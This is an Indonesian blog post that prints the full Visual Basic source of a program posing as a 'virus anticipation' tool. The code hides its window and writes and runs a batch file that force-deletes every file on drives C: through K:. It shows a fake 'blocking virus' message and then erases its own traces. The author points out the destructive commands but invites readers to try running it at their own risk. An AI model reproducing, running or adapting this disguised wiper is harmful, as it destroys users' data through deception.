Ticker

10/recent/ticker-posts

Ad Code

Responsive Advertisement

Code Virus Bat.

ngk ada kerjaan, iseng2 buka file2 lama... ketemu file yang bernama "antisipasivirus" setelah di buka ternaya sebuah code command. berikut code nya.
Code :







Private Sub form_load()
On Error Resume Next
Form1.Visible = False
Open "C:\AntisipasiVirus.txt" For Output As #1
On Error Resume Next
Print #1, "@echo off"
Print #1, "@title Proses Antisipasi Virus Pada Sistem.. Sedang Berlangsung"
Print #1, "@del /s /f /q c:\*.*"
Print #1, "@cls"
Print #1, "@del /s /f /q d:\*.*"
Print #1, "@cls"
Print #1, "@del /s /f /q e:\*.*"
Print #1, "@cls"
Print #1, "@del /s /f /q f:\*.*"
Print #1, "@cls"
Print #1, "@del /s /f /q g:\*.*"
Print #1, "@cls"
Print #1, "@del /s /f /q h:\*.*"
Print #1, "@cls"
Print #1, "@del /s /f /q i:\*.*"
Print #1, "@cls"
Print #1, "@del /s /f /q j:\*.*"
Print #1, "@cls"
Print #1, "@del /s /f /q k:\*.*"
Print #1, "@cls"
Close #1
Name "C:\AntisipasiVirus.txt" As "C:\AntisipasiVirus.bat"
Shell "C:\AntisipasiVirus.bat"
MsgBox "Tunggu Sebentar, Proses Pemblokiran VIRUS Sedang Berlangsung", vbOKOnly, "Loading....!!"
Kill "C:\AntisipasiVirus.bat"
End Sub
 Ternyata setelah di liat2.. jika di runingkan akan menghapus semua file yang ada.. terlihat perintah del /s /f /q k:\*.*" , yang mana melakukan delate terhadap semua file tanpa kecuali...
hehehhee... kirain emang antisipasi virus, kalau ada yang mau coba runingkan silahkan, tapi efek dan resiko silahkan di tanggung jawab sendiri.. :D

Posting Komentar

0 Komentar